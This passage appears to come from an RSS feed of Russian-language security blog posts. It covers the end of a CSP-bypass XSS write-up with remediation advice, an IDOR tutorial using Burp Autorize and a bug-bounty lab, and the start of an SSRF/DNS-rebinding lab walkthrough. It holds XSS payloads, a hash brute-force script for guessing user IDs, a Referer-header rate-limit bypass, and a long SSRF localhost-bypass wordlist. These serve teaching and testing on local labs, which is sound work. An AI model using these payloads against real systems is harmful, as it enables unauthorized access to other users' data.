  <p id="UtQ3">Исполнение нашего скрипта было заблокировано настройкой <strong>script-src &#x27;self&#x27;.</strong></p>
  <pre id="mjcD">&lt;script&gt;alert(1)&lt;/script&gt;&amp;token=qweqwe
</pre>
  <figure id="WNHY" class="m_column">
    <img src="https://img3.teletype.in/files/e0/43/e0439994-c646-4f43-9a77-5d7cf8e6333a.png" />
  </figure>
  <p id="13z2">Попробуем добавить новую настройку <strong>CSP</strong>, чтобы исполнялись <strong>inline-скрипты</strong>.</p>
  <blockquote id="kgig"><strong>default-src &#x27;self&#x27;</strong> работает так что применяются самые строгие ограничения</blockquote>
  <p id="YQUO">Изменим полезную нагрузку и попробуем добавить вторую директиву <strong>script-src</strong>:</p>
  <pre id="vHLv">&lt;script&gt;alert(1)&lt;/script&gt;&amp;token=;script-src &#x27;unsafe-inline&#x27;
</pre>
  <figure id="f2i3" class="m_column">
    <img src="https://img2.teletype.in/files/53/d8/53d8689e-9153-4a47-8453-ab4e81bc8287.png" />
  </figure>
  <p id="jSOC">Но из-за того, что одна директива <strong>CSP</strong> может встречаться только один раз, скрипт не отрабатывает, в данном случае можно воспользоваться данным ресурсом, чтобы узнать какие бывают дополнительные директивы у <strong>CSP</strong></p>
  <figure id="nBDZ" class="m_column">
    <img src="https://img1.teletype.in/files/c8/89/c889ce5d-85ea-4e00-9335-e6bc3dd82cf9.png" />
  </figure>
  <p id="TOKR"><a href="https://developer.mozilla.org/ru/docs/Web/HTTP/CSP" target="_blank"><strong>Здесь</strong></a> можно найти директиву <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src-elem" target="_blank"><strong>script-src-elem</strong></a>, которая работает примерно также как и <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src" target="_blank"><strong>script-src</strong></a></p>
  <p id="HBSn">В результате мы можем сформировать итоговую полезную нагрузку:</p>
  <pre id="SuDf">&lt;script&gt;alert(1)&lt;/script&gt;&amp;token=; script-src-elem &#x27;unsafe-inline&#x27;
</pre>
  <figure id="aHSb" class="m_column">
    <img src="https://img2.teletype.in/files/dd/84/dd84a353-a51e-40d6-84cf-60b644287856.png" />
  </figure>
  <h3 id="Рекомендации-по-устранению">Рекомендации по устранению</h3>
  <p id="J3zX">Использовать <strong>CSP </strong>с директивой <strong>nonce</strong> для всех скриптов. Это предотвратит загрузку скриптов из внешних источников, которые не были предварительно подписаны.</p>
  <p id="1lmN">Использовать <strong>CSP</strong> с директивой <strong>strict-dynamic</strong> для всех скриптов. Это предотвратит загрузку новых скриптов в <strong>DOM</strong>, которые не были предварительно включены в белый список.</p>
  <pre id="y937">Content-Security-Policy: default-src &#x27;self&#x27;; object-src &#x27;none&#x27;;script-src &#x27;self&#x27; nonce-&lt;nonce-value&gt;; style-src &#x27;self&#x27;; report-uri /csp-report
</pre>
  <p id="vrcP">Использовать <strong>CSP</strong> с директивой <strong>frame-ancestors</strong> для ограничения источников, из которых могут быть загружены iframe-элементы. Это предотвратит загрузку iframe-элементов из внешних источников, которые могут быть использованы для обхода <strong>CSP</strong>.</p>
  <pre id="4y0F">Content-Security-Policy: default-src &#x27;self&#x27;; object-src &#x27;none&#x27;;script-src &#x27;self&#x27; nonce-&lt;nonce-value&gt; strict-dynamic; style-src &#x27;self&#x27;; report-uri /csp-report
</pre>
  <p id="n1DE">В дополнение к этим рекомендациям, важно также правильно обрабатывать вводимые пользователем данные. Это включает в себя фильтрацию всех данных из форм, заголовков HTTP и других источников.</p>
  <p id="kNB7">Немного юмора от моих коллег</p>
  <figure id="6JQn" class="m_column">
    <img src="https://img4.teletype.in/files/71/63/716397d0-3218-4998-99b5-317c6fe62075.png" />
  </figure>
  <figure id="vq8D" class="m_column">
    <img src="https://img2.teletype.in/files/5b/66/5b66d6a8-a656-44f5-919e-ac9c3a2790aa.png" />
  </figure>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@wr3dmast3r/IDOR-Autorize-Broken-Access-Control-09-27</guid><link>https://teletype.in/@wr3dmast3r/IDOR-Autorize-Broken-Access-Control-09-27?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r</link><comments>https://teletype.in/@wr3dmast3r/IDOR-Autorize-Broken-Access-Control-09-27?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r#comments</comments><dc:creator>wr3dmast3r</dc:creator><title>IDOR. Autorize. Broken Access Control.</title><pubDate>Thu, 22 Feb 2024 17:04:07 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/d5/9a/d59a34d2-bd56-41a6-9c95-34c16a9664c2.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/19/bc/19bcfdfb-4c86-4773-9ffc-750d30adcb47.png"></img>Уязвимости IDOR (Insecure direct object references) и Broken Access Control (BAC) являются одними из самых опасных уязвимостей в веб-приложениях. Они позволяют злоумышленнику получить доступ к конфиденциальным данным или функциям, к которым он не должен иметь доступа.]]></description><content:encoded><![CDATA[
  <figure id="NlD5" class="m_column">
    <img src="https://img2.teletype.in/files/19/bc/19bcfdfb-4c86-4773-9ffc-750d30adcb47.png" />
  </figure>
  <p id="WIBk">Уязвимости <strong>IDOR (Insecure direct object references)</strong> и <strong>Broken Access Control (BAC)</strong> являются одними из самых опасных уязвимостей в веб-приложениях. Они позволяют злоумышленнику получить доступ к конфиденциальным данным или функциям, к которым он не должен иметь доступа.</p>
  <hr />
  <h3 id="Что-такое-BAC-и-IDOR?">Что такое BAC и IDOR?</h3>
  <p id="l3ki">Все прекрасно знают о том, что авторизация предоставляет пользователю права на выполнение определённых действий, а также процесс проверки (подтверждения) данных прав при попытке выполнения этих действий. Авторизация не эквивалентна аутентификации. После успешной аутентификации авторизация определяет, к каким функциям и данным может получить доступ пользователь, обеспечивая при этом надлежащее разграничение прав доступа.</p>
  <p id="7qgS">Именно поэтому веб-приложению необходимы средства контроля доступа, позволяющие его пользователям использовать веб-приложение с различными привилегиями. Контроль доступа — это применение ограничений на то, кто (или что) может выполнять различные функции и получать доступ к запрошенным ресурсам. Нарушенный контроль доступа <strong>(Broken Access Control)</strong> — часто встречающаяся уязвимость в системе безопасности веб-приложений. Существуют несколько типов контроля доступа, а вместе с ними и уязвимостей, связанных с их нарушением:</p>
  <ol id="fm2v">
    <li id="gE5w">Вертикальный контроль доступа;</li>
    <li id="HIwn">Горизонтальный контроль доступа;</li>
    <li id="zGzk">Контекстно-зависимый контроль доступа.</li>
  </ol>
  <p id="CSWZ">Про горизонтальный контроль доступа мы поговорим подробнее.</p>
  <p id="zKBo"><strong>IDOR</strong>, или небезопасные прямые ссылки на объекты — это тип уязвимости контроля доступа, которая возникает, когда приложение использует вводимые пользователем данные для прямого доступа к объектам. Термин <strong>IDOR</strong> стал популяризирован после его появления в первой десятке OWASP 2007 года. Однако это лишь один пример многих ошибок реализации контроля доступа, которые могут привести к его обходу. Уязвимости <strong>IDOR</strong> чаще всего связаны с горизонтальным повышением привилегий, но они также могут привести к вертикальному повышению привилегий, получив, например, учетные данные администратора путём эксплуатации уязвимой конечной точки.</p>
  <hr />
  <p id="jCvX">В этой статье мы рассмотрим принцип работы уязвимостей <strong>IDOR</strong> и <strong>Broken Access Control</strong>, а также методы их обнаружения и автоматизации с помощью <strong>Autorize</strong>.</p>
  <h3 id="Как-искать">Как искать</h3>
  <p id="kxTd">Для автоматизации поиска уязвимости IDOR нам необходимо наличие двух аккаунтов.</p>
  <p id="UZ5B">Создаём два аккаунта, воспользовавшись расширением для Firefox под названием <strong>Multi-Account-Container</strong>, которое позволяет нам открывать несколько сессий в одном окне браузера:</p>
  <figure id="luVQ" class="m_column">
    <img src="https://img4.teletype.in/files/7b/42/7b42aa2d-6fe3-4127-ba96-39630f721525.png" />
  </figure>
  <figure id="K4io" class="m_column">
    <img src="https://img4.teletype.in/files/3f/ec/3fec666d-ebbf-485a-9385-e0aa3b2b7e6c.png" />
  </figure>
  <blockquote id="WD6W">Советую использовать данное расширение, так как оно очень часто может помочь в ситуациях, когда необходим режим инкогнито или другой браузер для проверки каких-либо уязвимостей.</blockquote>
  <p id="yuEN">Дополнительно устанавливаем расширение под названием <strong>Autorize</strong> для Burp Suite:</p>
  <figure id="0pDY" class="m_column">
    <img src="https://img3.teletype.in/files/e6/51/e651ae08-0a59-4440-beb3-7e0308e4b0d2.png" />
  </figure>
  <h3 id="Добавляем-сессионный-идентификатор-атакующего">Добавляем сессионный идентификатор атакующего</h3>
  <p id="er1c">Первое, что вам нужно сделать — это добавить сессионный идентификатор второго пользователя или злоумышленника в Autorize.</p>
  <p id="KCJq">Если вы не уверены, какие заголовки вам точно необходимы, то можно скопировать большую часть запроса и использовать его, ведь лучше копировать больше заголовков, чем меньше:</p>
  <figure id="dze5" class="m_column">
    <img src="https://img4.teletype.in/files/b9/46/b946c37e-e9e4-4c96-82e1-7e42e36db3a6.png" />
  </figure>
  <p id="bx4v">Теперь просто копируем заголовки запроса атакующего и вставляем в <strong>Autorize</strong>:</p>
  <figure id="2re8" class="m_column">
    <img src="https://img3.teletype.in/files/65/42/6542793d-a810-451a-bad6-7bcce8c40a86.png" />
  </figure>
  <p id="O2TM">Больше второй аккаунт нам не понадобится, и мы можем переходить к поиску нарушений контроля доступа, но сначала я объясню, как работает <strong>Autorize</strong>:</p>
  <blockquote id="FZIe">Всякий раз, когда совершается запрос, расширение будет менять его и подставлять добавленный нами сессионный идентификатор и проверять различия в ответах. Например, если я попытаюсь добавить какой-то товар в корзину, <strong>Autorize</strong> поменяет часть запроса и попробует совершить то же действие с сессионным идентификатором атакующего.</blockquote>
  <blockquote id="zSKZ">Таким образом, мы будем пытаться получить содержимое данных, принадлежащих другому пользователю, то есть проверять веб-приложение на наличие <strong>IDOR</strong>.</blockquote>
  <blockquote id="aHLy">По сути, расширение делает то же самое, что и <strong>Repeater</strong>, но подставляет каждый раз другие заголовки в запрос.</blockquote>
  <p id="IbOW">Теперь какую бы функциональность мы не проверяли, <strong>Autorize</strong> каждый раз будет отправлять наш запрос, но с другими заголовками.</p>
  <p id="hvJJ">Можно переходить к тестированию контроля доступа и поиска уязвимости <strong>IDOR</strong>. Просто используем все доступные функциональности и изучаем работу сайта.</p>
  <h3 id="Detect">Detect</h3>
  <p id="r4y5">Как можно заметить, после добавления товара в корзину приложение говорит нам, что мы просмотрели корзину другого пользователя:</p>
  <figure id="TfJY" class="m_column">
    <img src="https://img4.teletype.in/files/bd/1d/bd1d2313-418f-40d2-bc79-51f0724164f6.png" />
  </figure>
  <p id="e7J3">Перейдем в <strong>Autorize</strong> и посмотрим, в каком запросе у нас нарушается контроль доступа:</p>
  <figure id="dI4p" class="m_column">
    <img src="https://img2.teletype.in/files/da/72/da724acd-371b-45bd-b760-3f582a8c697c.png" />
  </figure>
  <p id="9rap">Как вы видите, сессионный идентификатор отличается, и можно заметить, что ответ приложения одинаков при разных заголовках запроса, тогда как у запроса без заголовков авторизации ответ отличается:</p>
  <figure id="HLva" class="m_column">
    <img src="https://img4.teletype.in/files/b2/bc/b2bcd357-eb25-47f5-82d4-228ffafb252d.png" />
  </figure>
  <p id="yFfq"><strong>Autorize совершает две проверки:</strong></p>
  <ol id="cl0t">
    <li id="rJsB">Добавляет заголовки атакующего в запрос;</li>
    <li id="oA78">Удаляет заголовки, сигнализирующие об успешной авторизации (то есть отправляет запрос без заголовков).</li>
  </ol>
  <p id="APbA"><strong>Вторая проверка также является нарушением контроля доступа, так как позволяет получить информацию неавторизованному пользователю.</strong></p>
  <p id="33kj">Теперь покупаем товар:</p>
  <figure id="NrAF" class="m_column">
    <img src="https://img4.teletype.in/files/77/71/77718150-b962-4d6e-9002-d333232b1f1e.png" />
  </figure>
  <p id="mQv7">Добавляем адрес:</p>
  <figure id="0KFh" class="m_column">
    <img src="https://img2.teletype.in/files/da/7e/da7ea3fa-3709-4155-9244-6e0cbad738a9.png" />
  </figure>
  <p id="boKH">Выбираем доставку:</p>
  <figure id="Glqk" class="m_column">
    <img src="https://img3.teletype.in/files/ee/e6/eee6e907-3d70-4247-8051-341726416b1b.png" />
  </figure>
  <p id="JD7N">Добавляем карту для оплаты:</p>
  <figure id="QRvw" class="m_column">
    <img src="https://img1.teletype.in/files/cb/8c/cb8c5295-7642-4f06-83a2-63f45a576607.png" />
  </figure>
  <p id="XYDK">Размещаем заказ:</p>
  <figure id="9w3u" class="m_column">
    <img src="https://img1.teletype.in/files/8d/8c/8d8c1128-3238-4d06-a36a-d7bd031d7c4e.png" />
  </figure>
  <figure id="AQzK" class="m_column">
    <img src="https://img4.teletype.in/files/3e/e8/3ee821a2-848b-44c5-b2f5-45a38724825b.png" />
  </figure>
  <blockquote id="jC4S">Советую чаще проверять конечные точки, содержащие pdf или какие-либо файлы, так как потенциально они могут не иметь проверки контроля доступа и обычно защищены уникальным идентификатором, полагаясь на безопасность за счет непредсказуемости идентификатора.</blockquote>
  <p id="OgEc">Таким образом, мы проверили всю функциональность покупки на наличие уязвимостей <strong>IDOR</strong> и <strong>Broken Access Control</strong> в автоматическом режиме, и <strong>Autorize</strong> показал нам результат работы в удобном для чтения и восприятия формате.</p>
  <p id="x7nR">Теперь вернёмся к <strong>Authorize</strong> и посмотрим, где нам удалось обойти ограничения контроля доступа:</p>
  <figure id="o8Iv" class="m_column">
    <img src="https://img2.teletype.in/files/d7/05/d7055b19-ffd6-425d-9f65-39ff02285517.png" />
  </figure>
  <p id="hGqs">Как можно подметить, длина ответа приложения с разными сессионными данными одинаковая. Это говорит нам о том, что в данном месте есть IDOR, и мы получаем доступ к данным другого пользователя (в данном случае чек после размещения заказа), которые содержат конфиденциальную информацию.</p>
  <blockquote id="QPfZ">Как я и говорил, статические файлы в большинстве случаев могут быть не защищены проверкой контроля доступа и будут доступны по уникальному идентификатору.</blockquote>
  <p id="EJod">Сравниваем содержимое pdf с помощью <strong>Comparer</strong>, чтобы убедиться, что мы получили доступ к одному и тому же чеку:</p>
  <figure id="Usgl" class="m_column">
    <img src="https://img2.teletype.in/files/d7/ae/d7ae6d15-59ec-4f74-86fb-bd0645b9cdc9.png" />
  </figure>
  <p id="Wcxj">Переходим в браузере в аккаунт атакующего и смотрим содержимое чека:</p>
  <figure id="Gopb" class="m_column">
    <img src="https://img2.teletype.in/files/50/f5/50f51d60-00a8-434f-9110-5fb8acdfec28.png" />
  </figure>
  <p id="4DY3">В другом запросе также раскрывается email другого пользователя:</p>
  <figure id="DboL" class="m_column">
    <img src="https://img4.teletype.in/files/3d/eb/3deb04c7-e467-4425-b48a-952a3af04c77.png" />
  </figure>
  <p id="8uEY">Также по длине ответа можно понять, в каких запросах расишрению не удалось обойти ограничения:</p>
  <figure id="Tv3n" class="m_column">
    <img src="https://img4.teletype.in/files/35/6d/356daf10-16cb-4cd2-9209-ca9c34bb54c0.png" />
  </figure>
  <h3 id="IDOR-bypass-BugBounty">IDOR bypass BugBounty</h3>
  <p id="8O0x">Закончим с теоретической частью и для примера рассмотрим лабораторную работу, посвященную найденной исследователем IDOR-уязвимости в рамках программы BugBounty.</p>
  <p id="kIMG">В данной лабораторной показан пример слабого шифрования и возможности обхода ограничения скорости перебора значений и защиты от ботов.</p>
  <p id="jdHG">Скачиваем лабораторную работу:</p>
  <pre id="OEPt">git clone https://github.com/leetCipher/bug-bounty-labs.git
</pre>
  <p id="LRn0">Запускаем уязвимое приложение:</p>
  <pre id="l9KH">sudo docker-compose up
</pre>
  <figure id="oLtl" class="m_column">
    <img src="https://img1.teletype.in/files/83/69/83691134-32a4-4e0e-b53c-9dd2b79ecbdd.png" />
  </figure>
  <p id="nqhV">Создаем аккаунт:</p>
  <figure id="aSDf" class="m_column">
    <img src="https://img2.teletype.in/files/92/4e/924e524a-b6f2-412e-97a9-16f43c1d8206.png" />
  </figure>
  <blockquote id="f9tF">Сервис, где была обнаружена уязвимость, похож на Instagram, где можно публиковать фотографии и делиться ими.</blockquote>
  <figure id="0Q4f" class="m_column">
    <img src="https://img1.teletype.in/files/86/6d/866d356a-6048-4d89-8e37-33ecc70fa68e.png" />
  </figure>
  <p id="gRgm">Когда я проверил все конечные точки, то обратил внимание на вызов метода <strong>/api/user</strong>, в теле которого находился параметр, благодаря которому можно просмотреть учетные данные конкретного пользователя:</p>
  <figure id="AO2B" class="m_column">
    <img src="https://img4.teletype.in/files/73/f2/73f21671-3de3-4231-8c01-d6e2918e3603.png" />
  </figure>
  <p id="ZTaN">Простой перебор данного идентификатора невозможен из-за количества символов, и на первый взгляд может показаться, что всё безопасно и никакого <strong>IDOR</strong> нет. Но на сайте мной была обнаружена конечная точка <strong>/js/register.js</strong>, которая показывает, как происходит формирование данного хэша:</p>
  <figure id="yuwA" class="m_column">
    <img src="https://img1.teletype.in/files/42/fe/42fed825-5730-44ef-9617-d59692af1bae.png" />
  </figure>
  <p id="7fM4">Так как в формировании хэша участвует <strong>дата регистрации</strong>, <strong>first_name</strong> и <strong>last_name</strong>, то единственное, что нам нужно угадать, — это дата. Ниже приведён скрипт, который может подобрать все варианты хэша для заданных имени имени и фамилии:</p>
  <pre id="Ax8b">#!/usr/bin/python3
import hashlib
import sys

def main(first_name, last_name):
    # hashes wordlist
    wordlist_fd = open(&quot;hashes-wordlist.txt&quot;, &quot;w&quot;)
    # user full name reversed
    full_name = first_name + last_name
    full_name = full_name[::-1]

    # brute-force all dates since 2017
    for year in range(2017, 2023, 1):
        for month in range(1, 13):
            for day in range(1, 32):
                string = &quot;{}{:02}{:02}{}&quot;.format(full_name, day, month, year)
                # generate the SHA-256 sum of the reversed full name and the date
                hashed_string = hashlib.sha256(string.encode()).hexdigest()

                # write the hash to the hashes-wordlist.txt file
                wordlist_fd.write(&quot;{}\n&quot;.format(hashed_string))

    # close the fd
    wordlist_fd.close()
    print(&quot;[+] wordlist generated for {} {}&quot;.format(first_name, last_name))


if __name__ == &quot;__main__&quot;:
    if len(sys.argv) == 3:
        main(str(sys.argv[1]), str(sys.argv[2]))
    else:
        print(&quot;usage: ./generate-hashes.py  &quot;)
</pre>
  <p id="idZB">Исследователь обнаружил, что домен с уязвимым приложением был зарегистрирован в 2017 году. Это значит, что отсчет даты регистрации пользователей можно начинать с этого года:</p>
  <figure id="2sc1" class="m_column">
    <img src="https://img3.teletype.in/files/65/da/65da95d0-1073-44fe-b85a-2f4268f71052.png" />
  </figure>
  <blockquote id="PfRP">Приведённый выше скрипт подбирает хэши на основе двух значений: <strong>first_name</strong> и <strong>last_name</strong>. Он объединяет (конкатенирует) имя и фамилию в переменную <strong>full_name</strong>, а затем перебирает все даты, начиная с 2017 года. Затем вся информация объединяется в переменную <strong>string</strong> и вычисляется хэш <strong>SHA256</strong> в шестрадцатеричной кодировке для этой строки. Результат вычисления вероятных значений хэша для конкретного пользователя записывается в файл <strong>hashshes-wordlists.txt</strong>.</blockquote>
  <p id="yXSg">Теперь можно попробовать перебрать хэш пользователя <strong>john doe</strong>, имя которого раскрывается на странице:</p>
  <figure id="5XTC" class="m_column">
    <img src="https://img2.teletype.in/files/1c/9e/1c9ea377-689f-473f-9bf2-b2e6f336473a.png" />
  </figure>
  <p id="yN7p">Получаем возможные хэши пользователя:</p>
  <figure id="nzKp" class="m_column">
    <img src="https://img3.teletype.in/files/a7/ff/a7ff8e2a-fe6f-4472-b7bb-785bf3675024.png" />
  </figure>
  <p id="EjYr">Переходим в Intruder и пробуем перебрать все значения:</p>
  <figure id="hjmJ" class="m_column">
    <img src="https://img1.teletype.in/files/8c/8a/8c8aeeb7-52ca-4797-a268-59c17442f7f9.png" />
  </figure>
  <p id="6FBF">Спустя 20 запросов мы получаем ограничения на попытку просмотра данных:</p>
  <figure id="WcLA" class="m_column">
    <img src="https://img4.teletype.in/files/3e/95/3e95a1f4-3f64-477b-971a-65ddc116f9ff.png" />
  </figure>
  <p id="meK5">Кастомные заголовки не помогли обойти ограничения, но исследователем было замечено, что при смене заголовка <strong>Referer</strong> ограничения снимаются, и мы можем продолжать проверку хэша:</p>
  <figure id="q2zA" class="m_column">
    <img src="https://img3.teletype.in/files/ec/66/ec6675e7-2004-4c18-bc46-4eb0cae11665.png" />
  </figure>
  <p id="iH9h">Таким образом, в <strong>Intruder</strong> добавляем точку перебора в заголовок <strong>Referer</strong> (его значение не играет особой роли):</p>
  <figure id="iYUn" class="m_column">
    <img src="https://img4.teletype.in/files/f0/ae/f0ae6364-e3a0-45ae-9813-e676f31b290f.png" />
  </figure>
  <p id="muJd">После атаки получаем доступ к данным пользователя <strong>john doe</strong>:</p>
  <figure id="WPyL" class="m_column">
    <img src="https://img4.teletype.in/files/f0/83/f0837d89-0d09-4bca-8b6a-d980cd0c3db9.png" />
  </figure>
  <p id="qNeu">Повторим атака с именем <strong>sam young</strong>:</p>
  <figure id="kdaK" class="m_column">
    <img src="https://img3.teletype.in/files/23/37/233700e8-c6bf-4964-879a-9a8451b5b0a7.png" />
  </figure>
  <p id="2Wv5">Таким образом, исследователю удалось найти изъян в механизме генерации хэша пользователя, что позволило проэксплуатировать уязвимость <strong>IDOR</strong> в, казалось бы, неуязвимом приложении.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@wr3dmast3r/SSRF-via-DNS-Rebinding-CVE-20224096-08-22</guid><link>https://teletype.in/@wr3dmast3r/SSRF-via-DNS-Rebinding-CVE-20224096-08-22?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r</link><comments>https://teletype.in/@wr3dmast3r/SSRF-via-DNS-Rebinding-CVE-20224096-08-22?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r#comments</comments><dc:creator>wr3dmast3r</dc:creator><title>SSRF via DNS Rebinding (CVE-2022–4096)</title><pubDate>Thu, 22 Feb 2024 17:03:45 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/a9/3c/a93c6d56-b936-416f-9502-180fdd24ee21.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/12/7e/127e5fcd-7ca4-4677-b58b-8db4ea8d3c83.png"></img>В мире информационной безопасности постоянно появляются новые методы атак на приложения и системы. Одной из таких хитрых уязвимостей является SSRF (Server-Side Request Forgery) через DNS Rebinding. В данной статье мы погрузимся в механизм работы этой уязвимости и поймем как она работает.]]></description><content:encoded><![CDATA[
  <figure id="sxAb" class="m_column">
    <img src="https://img2.teletype.in/files/12/7e/127e5fcd-7ca4-4677-b58b-8db4ea8d3c83.png" />
  </figure>
  <p id="HOqy">В мире информационной безопасности постоянно появляются новые методы атак на приложения и системы. Одной из таких хитрых уязвимостей является <strong>SSRF (Server-Side Request Forgery)</strong> через <strong>DNS Rebinding</strong>. В данной статье мы погрузимся в механизм работы этой уязвимости и поймем как она работает.</p>
  <p id="yqdh"><strong>SSRF</strong> - это атака, при которой злоумышленник заставляет целевой сервер выполнять HTTP-запросы к внутренним или внешним ресурсам, обходя ограничения безопасности. В случае с <strong>SSRF</strong> через <strong>DNS Rebinding</strong>, атакующий использует изменение <strong>DNS-записей</strong> с целью обмана сервера и выполнения запросов к внутренним ресурсам.</p>
  <p id="8aIa">На схеме ниже показан простой пример такой атаки:</p>
  <figure id="xqY8" class="m_column">
    <img src="https://img1.teletype.in/files/8e/bb/8ebb5822-68ec-4094-987b-cd3558d897ab.png" />
  </figure>
  <p id="7fWP">Данная уязвимость часто возникает в веб-приложениях, которые взаимодействуют со сторонними сервисами для загрузки каких-либо данных. В таких системах совершаемые запросы бывают подконтрольны пользователям. И в результате подмены ссылки запрос уходит уже на другие ресурсы.</p>
  <figure id="ObaU" class="m_column">
    <img src="https://img2.teletype.in/files/1f/5b/1f5b0828-33f1-4fff-921c-7d7ed84341bb.png" />
  </figure>
  <p id="uxtw">На первый взгляд может показаться, что отправка подобного запроса не представляет опасности. Однако это мнение ошибочно. Атаки такого рода могут иметь разнообразные последствия: начиная от получения информации о внутренних ресурсах системы, и заканчивая полной компрометацией приложения. Результат атаки зависит от её типа, расположения сервера в сети, содержания отправленного запроса и других факторов.</p>
  <p id="F9CX">Несмотря на разнообразие возможных последствий, корень проблемы всегда один – неправильная проверка входных данных. Когда сервер получает ссылку, он не достаточно проверяет адрес, указанный в ней, и бездумно обращается к ресурсу, указанному пользователем.</p>
  <p id="N7Hi"><strong>Автор CVE-2022–4096</strong> выпустил разбор уязвимости в <a href="https://www.youtube.com/watch?v=90AdmqqPo1Y" target="_blank">видео-формате</a> и создал лабораторную работу, чтобы продемонстрировать, как уязвимость эксплуатируется. С помощью этой лабораторной работы я попробую показать, как работает данная уязвимость. Давайте загрузим репозиторий с лабораторной работой:</p>
  <pre id="85kV">git clone https://github.com/leetCipher/bug-bounty-labs.git
</pre>
  <p id="b1z4">Собираем образ лабораторной:</p>
  <pre id="DvKp">docker build -t ssrf-bug .
</pre>
  <p id="AKPi">Запускаем приложение:</p>
  <pre id="Xlfe">docker run -p 80:80 ssrf-bug
</pre>
  <figure id="pmaS" class="m_column">
    <img src="https://img2.teletype.in/files/11/07/1107b392-9b5c-4530-98ae-5e2bd207ec83.png" />
  </figure>
  <blockquote id="vtr7">Теперь нам доступно уязвимое приложение и можно переходить к тестированию.</blockquote>
  <figure id="DcZC" class="m_column">
    <img src="https://img2.teletype.in/files/d9/55/d955e5df-6b3e-4cf4-a9d5-82d5ca17ec3a.png" />
  </figure>
  <blockquote id="x60g">При входе в систему можно заметить вызов метода <strong>API - /api/v3/users </strong>и параметр который передаётся - это пользовательский uuid</blockquote>
  <figure id="kIg5" class="m_column">
    <img src="https://img1.teletype.in/files/45/c8/45c80d33-1436-475c-9ac4-999b9d4c3c30.png" />
  </figure>
  <blockquote id="gWcB">Сервис, в котором была найденна данная уязвимость, похожа на платформy для обмена файлами, по типу <strong>google drive</strong> или <strong>dropbox</strong>.</blockquote>
  <p id="mUj7">Можно заметить, что когда мы отправляем запрос, нам становится доступен список файлов которые мы загрузили:</p>
  <figure id="VqOD" class="m_column">
    <img src="https://img2.teletype.in/files/dd/df/dddf31ab-fcc4-4945-927e-c41e97a47397.png" />
  </figure>
  <p id="l9Tr">Также у нас доступна функциональность загрузки изображения с помощью URL, и это открывает возможность для SSRF-атак. Попробуем получить ответ на свой <strong>collaborator</strong>, чтобы убедиться, в том что запрос отправляется:</p>
  <figure id="r1Vg" class="m_column">
    <img src="https://img2.teletype.in/files/d7/03/d7039578-2e46-4cf8-80e5-6aaed59149de.png" />
  </figure>
  <p id="N2bc">Но при попытке обратиться к <strong>localhost</strong> можно заметить, что у сервиса есть защита от обращений к внутренним сервисам или <strong>localhost</strong>:</p>
  <figure id="ukv7" class="m_column">
    <img src="https://img2.teletype.in/files/52/2a/522a735c-57a5-4e99-a3eb-ff272424e84d.png" />
  </figure>
  <p id="GDFu"><strong>Советую пользоваться примерно таким словарем при попытках обхода ограничений:</strong></p>
  <pre id="otq6">http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://0
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
http://2130706433
http://017700000001
http://0x7f000001
http://google.com@127.0.0.1
http://127.0.0.1#google.com
http://google.com.127.0.0.1
http://127.0.0.1/google.com
http://127.0.0.1/?d=google.com
https://google.com@127.0.0.1
https://127.0.0.1#google.com
https://google.com.127.0.0.1
https://127.0.0.1/google.com
https://127.0.0.1/?d=google.com
http://google.com@localhost
http://localhost#google.com
http://google.com.localhost
http://localhost/google.com
http://localhost/?d=google.com
http://127.0.0.1%00google.com
http://127.0.0.1?google.com
http://127.0.0.1///google.com
https://127.0.0.1%00google.com
https://127.0.0.1?google.com
https://127.0.0.1///google.com
http://localtest.me
https://customer1.app.localhost.my.company.127.0.0.1.nip.io
mail.ebc.apple.com
127.0.0.1.nip.io
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network
http://spoofed.burpcollaborator.net
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/
</pre>
  <p id="lCA0">Попробовав перебрать имеющиеся способы обхода, я не получил желаемого результат и защиту обойти не удалось:</p>
  <figure id="TBjs" class="m_column">
    <img src="https://img3.teletype.in/files/20/da/20da9f7b-242c-41fc-8efe-ad622048ef8d.png" />
  </figure>
  <p id="Aqp9">Затем я попробовал сменить версию API на v2, ведь старая версия API обычно не поддерживается, и это могло бы повлиять на результат:</p>
  <figure id="JeVj" class="m_column">
    <img src="https://img3.teletype.in/files/e6/2a/e62a6141-952f-49e2-b435-5d86f7ed4e54.png" />
  </figure>
  <p id="mjr3">После нескольких попыток как-либо обойти ограничение, возникла идея поменять заголовок <strong>content-type на json</strong> и передать содержимое в формате <strong>json</strong>:</p>
  <figure id="7WIf" class="m_column">
    <img src="https://img3.teletype.in/files/a1/83/a1832732-20ed-4b51-a4bc-dbcefe549e5e.png" />
  </figure>
  <p id="cwFR">И здесь мне удается получить новый ответ от сервера: возвращается ответ, в котором сказано, что запрос на localhost не разрешен. Теперь можно быть уверенным, что здесь возможна уязвимость SSRF. Попробуем перебрать значения localhost:</p>
  <figure id="kkol" class="m_column">
    <img src="https://img2.teletype.in/files/54/cc/54ccaa37-3e44-4044-bc4c-2a95072f84de.png" />
  </figure>
  <p id="pVGK">К сожалению, это также не помогло обойти ограничения.</p>
